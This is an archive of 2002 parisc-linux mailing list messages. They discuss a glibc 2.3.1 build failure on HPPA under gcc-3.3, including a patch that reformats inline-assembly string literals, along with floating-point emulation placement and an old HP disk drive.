make[2]: Entering directory `/mnt/flaire/src/glibc-upstream-cvs/libc/glibc-2.3.1/linuxthreads'
hppa-linux-gcc-3.3 ../linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c -c -std=gnu99 -O2
-Wall -Winline -Wstrict-prototypes -Wwrite-strings -g    -g0 -fPIC -fno-inline-functions
-I../include -I. -I/mnt/flaire/src/glibc-upstream-cvs/libc-build-3.3/linuxthreads -I.. -I../libio
-I/mnt/flaire/src/glibc-upstream-cvs/libc-build-3.3 -I../sysdeps/hppa/elf
-I../linuxthreads/sysdeps/unix/sysv/linux/hppa -I../linuxthreads/sysdeps/unix/sysv/linux
-I../linuxthreads/sysdeps/pthread -I../sysdeps/pthread -I../linuxthreads/sysdeps/unix/sysv
-I../linuxthreads/sysdeps/unix -I../linuxthreads/sysdeps/hppa -I../sysdeps/unix/sysv/linux/hppa
-I../sysdeps/unix/sysv/linux -I../sysdeps/gnu -I../sysdeps/unix/common -I../sysdeps/unix/mman
-I../sysdeps/unix/inet -I../sysdeps/unix/sysv -I../sysdeps/unix -I../sysdeps/posix
-I../sysdeps/hppa/hppa1.1 -I../sysdeps/wordsize-32 -I../sysdeps/ieee754/flt-32
-I../sysdeps/ieee754/dbl-64 -I../sysdeps/ieee754/ldbl-128 -I../sysdeps/hppa/fpu -I../sysdeps/hppa
-I../sysdeps/ieee754 -I../sysdeps/generic/elf -I../sysdeps/generic  -I
/lib/modules/2.4.19-pa22/build/include -D_LIBC_REENTRANT -include ../include/libc-symbols.h       -S
-g0 -fPIC -fno-inline-functions -finhibit-size-directive \
        -fno-exceptions -o
/mnt/flaire/src/glibc-upstream-cvs/libc-build-3.3/linuxthreads/pt-initfini.s
../linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c:44:10: missing terminating " character
../linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c:46:10: #include expects "FILENAME" or
<FILENAME>../linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c:51: error: request for member
`section' in something not a structure or union
../linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c:52: error: parse error before numeric
constant
../linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c:54: error: syntax error at '@' token
../linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c:75: error: stray '\' in program
../linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c:75:34: missing terminating " character
../linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c:86: error: syntax error at '@' token
../linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c:102: error: stray '\' in program
../linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c:102:34: missing terminating " character
../linuxthreads/sysdeps/unix/sysv/linux/hppa/pt-initfini.c:110:1: missing terminating " character
make[2]: *** [/mnt/flaire/src/glibc-upstream-cvs/libc-build-3.3/linuxthreads/pt-initfini.s] Error 1
make[2]: Leaving directory `/mnt/flaire/src/glibc-upstream-cvs/libc/glibc-2.3.1/linuxthreads'
make[1]: *** [linuxthreads/others] Error 2
make[1]: Leaving directory `/mnt/flaire/src/glibc-upstream-cvs/libc/glibc-2.3.1'
make: *** [all] Error 2

Looks like we need some __asm format fixes?

c.



From - Thu Nov 08 21:25:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 12:25:49 -0500 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <200211111725.gABHPo5R002295@hiauly1.hia.nrc.ca>
References: <20021111162656.GE8848@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621901 16651 80.91.229.3 (22 Nov 2014 02:05:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:01 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@lists.parisc-linux.org,
	tausq@debian.org, jbailey@nisa.net
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 10:26:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 507624829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 10:26:08 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gABHPoot002297;
	Mon, 11 Nov 2002 12:25:51 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gABHPo5R002295;
	Mon, 11 Nov 2002 12:25:50 -0500 (EST)
In-Reply-To: <20021111162656.GE8848@systemhalted> from "Carlos O'Donell" at Nov 11, 2002 11:26:56 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16717

> Ah yes, correct, I had forgotten that it was never implemented in
> silica. So you suggest we not implement this in libc but rather in gcc,
> may I ask why?

I don't have a strong opinion on this.  Probably, the routines should
be in libc.  However, it's probably simple also to put them in libgcc
which contains some arithmetic operations.  Some work in gcc would
be needed in any event to integrate the package.

> > While GMP is a useful package, it doesn't emulate IEEE 754 arithmetic.
> > That's what we need here.  There's a floating point emulator in gcc/real.c
> > but I think the HP library would be superior.
> 
> I'm pretty sure that MPFR library in GMP can emulate IEEE 754 arithmetic, 
> though I could be wrong.

I found the quad double package at the mpfr site.  However, its double
double differs from the IEEE quad precision representation.  A double double
is a representation using two IEEE doubles.  This is fine as a separate
library but not the IEEE implementation we are looking for.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/712 and C2490A harddisk
Date: Mon, 11 Nov 2002 10:31:36 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20021111173136.E137E4829@dsl2.external.hp.com>
References: <02Nov11.142433cet.119042@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621902 16677 80.91.229.3 (22 Nov 2014 02:05:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:02 +0000 (UTC)
Cc: "'parisc-linux maillist'" <parisc-linux@parisc-linux.org>
To: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 10:31:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id E137E4829; Mon, 11 Nov 2002 10:31:36 -0700 (MST)
In-Reply-To: Message from =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl> 
   of "Mon, 11 Nov 2002 14:13:45 +0100." <02Nov11.142433cet.119042@ns.hiscom.nl> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16718

=?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= wrote:
> I like to know:
> the pin-out (including the  position of pin-1, the connector does not make
> this clear)

sorry - don't have this handy. You'll have to search for it.

> can the 9000/712 boot from it (is it worth the effort)

yes.

> I've the impression it is a 2.x GB, 7200rpm harddisk and I've been told it
> is a relabeled Seagate (then which one?)

I'm pretty sure it's not.
IIRC, that was the last model disk drive that HP "DMD" designed/made.

grant


From - Thu Nov 08 21:25:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 12:36:25 -0500 (EST)
Lines: 226
Approved: news@gmane.org
Message-ID: <200211111736.gABHaP7E002352@hiauly1.hia.nrc.ca>
References: <20021111171255.GI8848@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621902 16681 80.91.229.3 (22 Nov 2014 02:05:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, tausq@debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 10:36:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4AB334829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 10:36:32 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gABHaQot002354;
	Mon, 11 Nov 2002 12:36:26 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gABHaP7E002352;
	Mon, 11 Nov 2002 12:36:25 -0500 (EST)
In-Reply-To: <20021111171255.GI8848@systemhalted> from "Carlos O'Donell" at Nov 11, 2002 12:12:55 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16719

> Looks like we need some __asm format fixes?

These are the changes that I had for glibc-2.2.5-14 to build with gcc-3.3.
The string literal change makes the asms ugly but I think we have to live
with it.  I don't know the ins and outs of why the change was necessary
but I know the cpp people will not change back.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

--- ./sysdeps/hppa/elf/initfini.c.orig	2001-07-09 17:56:22.000000000 -0700
+++ ./sysdeps/hppa/elf/initfini.c	2002-09-11 12:58:18.000000000 -0700
@@ -39,84 +39,84 @@
    making the comparison and indirect call is quite expensive (see the
    comment in sysdeps/generic/initfini.c). */
 
-__asm__ ("
-
-#include \"defs.h\"
-
-/*@HEADER_ENDS*/
-
-/*@_init_PROLOG_BEGINS*/
-	.section .init
-	.align 4
-	.globl _init
-	.type _init,@function
-_init:
-	stw	%rp,-20(%sp)
-	stwm	%r4,64(%sp)
-	stw	%r19,-32(%sp)
-	bl	__gmon_start__,%rp
-	copy	%r19,%r4	/* delay slot */
-	copy	%r4,%r19
-/*@_init_PROLOG_ENDS*/
-
-/*@_init_EPILOG_BEGINS*/
-        .text
-        .align 4
-        .weak   __gmon_start__
-        .type    __gmon_start__,@function
-__gmon_start__:
-	.proc
-	.callinfo
-	.entry
-        bv,n %r0(%r2)
-	.exit
-	.procend
-
-/* Here is the tail end of _init.  We put __gmon_start before this so
-   that the assembler creates the .PARISC.unwind section for us, ie.
-   with the right attributes.  */
-	.section .init
-	ldw	-84(%sp),%rp
-	copy	%r4,%r19
-	bv	%r0(%rp)
-_end_init:
-	ldwm	-64(%sp),%r4
-
-/* Our very own unwind info, because the assembler can't handle
-   functions split into two or more pieces.  */
-	.section .PARISC.unwind
-	.extern _init
-	.word	_init, _end_init
-	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08
-
-/*@_init_EPILOG_ENDS*/
-
-/*@_fini_PROLOG_BEGINS*/
-	.section .fini
-	.align 4
-	.globl _fini
-	.type _fini,@function
-_fini:
-	stw	%rp,-20(%sp)
-	stwm	%r4,64(%sp)
-	stw	%r19,-32(%sp)
-	copy	%r19,%r4
-/*@_fini_PROLOG_ENDS*/
-
-/*@_fini_EPILOG_BEGINS*/
-	.section .fini
-	ldw	-84(%sp),%rp
-	copy	%r4,%r19
-	bv	%r0(%rp)
-_end_fini:
-	ldwm	-64(%sp),%r4
-
-	.section .PARISC.unwind
-	.extern _fini
-	.word	_fini, _end_fini
-	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08
-
-/*@_fini_EPILOG_ENDS*/
-
-/*@TRAILER_BEGINS*/
+__asm__ ("\n\
+\n\
+#include \"defs.h\"\n\
+\n\
+/*@HEADER_ENDS*/\n\
+\n\
+/*@_init_PROLOG_BEGINS*/\n\
+	.section .init\n\
+	.align 4\n\
+	.globl _init\n\
+	.type _init,@function\n\
+_init:\n\
+	stw	%rp,-20(%sp)\n\
+	stwm	%r4,64(%sp)\n\
+	stw	%r19,-32(%sp)\n\
+	bl	__gmon_start__,%rp\n\
+	copy	%r19,%r4	/* delay slot */\n\
+	copy	%r4,%r19\n\
+/*@_init_PROLOG_ENDS*/\n\
+\n\
+/*@_init_EPILOG_BEGINS*/\n\
+        .text\n\
+        .align 4\n\
+        .weak   __gmon_start__\n\
+        .type    __gmon_start__,@function\n\
+__gmon_start__:\n\
+	.proc\n\
+	.callinfo\n\
+	.entry\n\
+        bv,n %r0(%r2)\n\
+	.exit\n\
+	.procend\n\
+\n\
+/* Here is the tail end of _init.  We put __gmon_start before this so\n\
+   that the assembler creates the .PARISC.unwind section for us, ie.\n\
+   with the right attributes.  */\n\
+	.section .init\n\
+	ldw	-84(%sp),%rp\n\
+	copy	%r4,%r19\n\
+	bv	%r0(%rp)\n\
+_end_init:\n\
+	ldwm	-64(%sp),%r4\n\
+\n\
+/* Our very own unwind info, because the assembler can't handle\n\
+   functions split into two or more pieces.  */\n\
+	.section .PARISC.unwind\n\
+	.extern _init\n\
+	.word	_init, _end_init\n\
+	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08\n\
+\n\
+/*@_init_EPILOG_ENDS*/\n\
+\n\
+/*@_fini_PROLOG_BEGINS*/\n\
+	.section .fini\n\
+	.align 4\n\
+	.globl _fini\n\
+	.type _fini,@function\n\
+_fini:\n\
+	stw	%rp,-20(%sp)\n\
+	stwm	%r4,64(%sp)\n\
+	stw	%r19,-32(%sp)\n\
+	copy	%r19,%r4\n\
+/*@_fini_PROLOG_ENDS*/\n\
+\n\
+/*@_fini_EPILOG_BEGINS*/\n\
+	.section .fini\n\
+	ldw	-84(%sp),%rp\n\
+	copy	%r4,%r19\n\
+	bv	%r0(%rp)\n\
+_end_fini:\n\
+	ldwm	-64(%sp),%r4\n\
+\n\
+	.section .PARISC.unwind\n\
+	.extern _fini\n\
+	.word	_fini, _end_fini\n\
+	.byte	0x08, 0x01, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08\n\
+\n\
+/*@_fini_EPILOG_ENDS*/\n\
+\n\
+/*@TRAILER_BEGINS*/\n\
 ");
--- ./linuxthreads/internals.h.orig	2002-09-11 12:16:03.000000000 -0700
+++ ./linuxthreads/internals.h	2002-09-13 11:09:35.000000000 -0700
@@ -555,11 +555,11 @@
 /* Prototypes for compatibility functions.  */
 extern int __pthread_attr_init_2_1 (pthread_attr_t *__attr);
 extern int __pthread_attr_init_2_0 (pthread_attr_t *__attr);
-extern int __pthread_create_2_1 (pthread_t *__restrict __thread,
+extern int __pthread_create_2_1 (pthread_t *__restrict __thr,
 				 const pthread_attr_t *__attr,
 				 void *(*__start_routine) (void *),
 				 void *__restrict __arg);
-extern int __pthread_create_2_0 (pthread_t *__restrict thread,
+extern int __pthread_create_2_0 (pthread_t *__restrict __thr,
 				 const pthread_attr_t *__attr,
 				 void *(*__start_routine) (void *),
 				 void *__restrict arg);
--- ./linuxthreads/sysdeps/pthread/pthread.h.orig	2001-03-20 08:44:41.000000000 -0800
+++ ./linuxthreads/sysdeps/pthread/pthread.h	2002-09-11 12:38:24.000000000 -0700
@@ -160,7 +160,7 @@
 /* Create a thread with given attributes ATTR (or default attributes
    if ATTR is NULL), and call function START_ROUTINE with given
    arguments ARG.  */
-extern int pthread_create (pthread_t *__restrict __thread,
+extern int pthread_create (pthread_t *__restrict __thr,
 			   __const pthread_attr_t *__restrict __attr,
 			   void *(*__start_routine) (void *),
 			   void *__restrict __arg) __THROW;
@@ -588,7 +588,7 @@
 extern int pthread_setcanceltype (int __type, int *__oldtype) __THROW;
 
 /* Cancel THREAD immediately or at the next possibility.  */
-extern int pthread_cancel (pthread_t __thread) __THROW;
+extern int pthread_cancel (pthread_t __thr) __THROW;
 
 /* Test for pending cancellation for the current thread and terminate
    the thread as per pthread_exit(PTHREAD_CANCELED) if it has been
--- ./linuxthreads/sysdeps/unix/sysv/linux/bits/sigthread.h.orig	2000-09-11 10:32:02.000000000 -0700
+++ ./linuxthreads/sysdeps/unix/sysv/linux/bits/sigthread.h	2002-09-11 12:43:37.000000000 -0700
@@ -33,6 +33,6 @@
 			    __sigset_t *__restrict __oldmask)__THROW;
 
 /* Send signal SIGNO to the given thread. */
-extern int pthread_kill (pthread_t __thread, int __signo) __THROW;
+extern int pthread_kill (pthread_t __thr, int __signo) __THROW;
 
 #endif	/* bits/sigthread.h */


From - Thu Nov 08 21:25:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 12:37:10 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <20021111173710.GK8848@systemhalted>
References: <20021111162656.GE8848@systemhalted> <200211111725.gABHPo5R002295@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621902 16684 80.91.229.3 (22 Nov 2014 02:05:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:02 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@lists.parisc-linux.org,
	tausq@debian.org, jbailey@nisa.net
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 10:37:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 59DE14829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 10:37:07 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18BIUo-0006Di-00; Mon, 11 Nov 2002 12:37:10 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>, willy@debian.org,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org,
	jbailey@nisa.net
Content-Disposition: inline
In-Reply-To: <200211111725.gABHPo5R002295@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (2% Sync Ratio [..........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16720

> 
> I don't have a strong opinion on this.  Probably, the routines should
> be in libc.  However, it's probably simple also to put them in libgcc
> which contains some arithmetic operations.  Some work in gcc would
> be needed in any event to integrate the package.
> 

I've just seen recent binutils ditatrabe about how we have copies of
math libraries floating between glibc, gcc and the kernel.

What do we gain from putting it in gcc?
	- ?

What do we gain from putting it libc?
	- More frequent package updates?
	- IMO easier to debug?

Why are there math functions in libgcc in the first place?
Historical reasons?

> > I'm pretty sure that MPFR library in GMP can emulate IEEE 754 arithmetic, 
> > though I could be wrong.
> 
> I found the quad double package at the mpfr site.  However, its double
> double differs from the IEEE quad precision representation.  A double double
> is a representation using two IEEE doubles.  This is fine as a separate
> library but not the IEEE implementation we are looking for.
> 

Okay.

c.


From - Thu Nov 08 21:25:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 12:46:33 -0500 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <200211111746.gABHkXj3002391@hiauly1.hia.nrc.ca>
References: <20021111173710.GK8848@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621903 16693 80.91.229.3 (22 Nov 2014 02:05:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:03 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@lists.parisc-linux.org,
	tausq@debian.org, jbailey@nisa.net
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 10:53:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA09B482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 10:53:45 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gABHkXot002393;
	Mon, 11 Nov 2002 12:46:34 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gABHkXj3002391;
	Mon, 11 Nov 2002 12:46:33 -0500 (EST)
In-Reply-To: <20021111173710.GK8848@systemhalted> from "Carlos O'Donell" at Nov 11, 2002 12:37:10 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16721

> Why are there math functions in libgcc in the first place?
> Historical reasons?

Well, for closed systems like hpux, it was necessary if the compiler
needed the function.  We are talking here about basic operations on
floats and ints (see config/fp-bit.[ch] and libgcc2.c).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 18:00:16 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <20021111180016.D29998@parcelfarce.linux.theplanet.co.uk>
References: <20021111171255.GI8848@systemhalted> <200211111736.gABHaP7E002352@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621903 16705 80.91.229.3 (22 Nov 2014 02:05:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:03 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 11:00:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC3CC4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 11:00:20 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18BIrA-0001s9-00; Mon, 11 Nov 2002 18:00:16 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200211111736.gABHaP7E002352@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Mon, Nov 11, 2002 at 12:36:25PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
